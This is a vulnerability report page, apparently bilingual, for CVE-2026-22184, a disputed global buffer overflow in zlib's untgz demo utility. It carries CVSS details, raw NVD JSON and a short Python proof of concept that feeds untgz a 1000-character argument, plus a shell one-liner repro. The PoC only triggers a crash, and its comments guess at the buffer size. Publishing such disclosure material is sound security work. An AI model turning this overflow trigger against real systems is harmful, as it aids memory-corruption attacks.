Security Vulnerability Report
中文
CVE-2026-22184 CVSS 7.8 HIGH

CVE-2026-22184

Published: 2026-01-07 21:16:02
Last Modified: 2026-03-18 16:26:31

Description

zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zlib:zlib:*:*:*:*:*:*:*:* - VULNERABLE
zlib 1.3.1.2 及之前所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22184 PoC - zlib untgz Global Buffer Overflow # Affected: zlib <= 1.3.1.2 (contrib/untgz) # CVSS: 7.8 (High) import subprocess import os import sys def generate_poc(): """ Generate PoC for CVE-2026-22184: zlib untgz global buffer overflow The vulnerability exists in tgzfname function when processing excessively long archive filenames via command line arguments. """ # Create a long filename that exceeds the fixed buffer size # The exact buffer size depends on the implementation, # but typically fixed buffers for filename handling are limited long_filename = "A" * 1000 # 1000 characters to trigger overflow # Try to execute untgz with the long filename # This will cause an out-of-bounds write in the global buffer poc_command = ["./untgz", long_filename] print(f"[*] CVE-2026-22184 PoC") print(f"[*] Target: zlib untgz utility (<= 1.3.1.2)") print(f"[*] Vulnerability: Global buffer overflow in tgzfname function") print(f"[*] Triggering with filename length: {len(long_filename)}") try: # Attempt to execute the vulnerable command result = subprocess.run(poc_command, capture_output=True, timeout=5) print(f"[+] Command executed") print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") except subprocess.TimeoutExpired: print(f"[!] Command timed out - possible crash detected") except FileNotFoundError: print(f"[!] untgz binary not found - compile from affected zlib source") except Exception as e: print(f"[!] Error: {e}") return long_filename def verify_vulnerability(): """ Additional verification steps for the vulnerability """ print("\n[*] Verification Steps:") print("1. Download zlib <= 1.3.1.2 from https://zlib.net/") print("2. Extract and compile: ./configure && make") print("3. Navigate to contrib/untgz directory") print("4. Compile untgz: make") print("5. Run: ./untgz $(python3 -c 'print(\"A\"*1000)')") print("6. Observe potential crash or unexpected behavior") if __name__ == "__main__": generate_poc() verify_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22184", "sourceIdentifier": "[email protected]", "published": "2026-01-07T21:16:01.563", "lastModified": "2026-03-18T16:26:31.140", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["disputed"]}], "descriptions": [{"lang": "en", "value": "zlib versions up to and including 1.3.1.2 include a global buffer overflow in the untgz utility located under contrib/untgz. The vulnerability is limited to the standalone demonstration utility and does not affect the core zlib compression library. The flaw occurs when a user executes the untgz command with an excessively long archive name supplied via the command line, leading to an out-of-bounds write in a fixed-size global buffer."}, {"lang": "es", "value": "Las versiones de zlib hasta la 1.3.1.2 inclusive incluyen un desbordamiento de búfer global en la utilidad untgz ubicada en contrib/untgz. La vulnerabilidad se limita a la utilidad de demostración independiente y no afecta a la biblioteca de compresión central de zlib. El fallo ocurre cuando un usuario ejecuta el comando untgz con un nombre de archivo excesivamente largo suministrado a través de la línea de comandos, lo que lleva a una escritura fuera de límites en un búfer global de tamaño fijo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zlib:zlib:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.3.1.2", "matchCriteriaId": "5B9F9582-7F4A-4376-BE97-6AB4038AEBB4"}]}]}], "references": [{"url": "https://github.com/madler/zlib", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://seclists.org/fulldisclosure/2026/Jan/3", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/zlib-untgz-global-buffer-overflow-in-tgzfname", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://zlib.net/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/madler/zlib/issues/1142", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Issue Tracking"]}]}}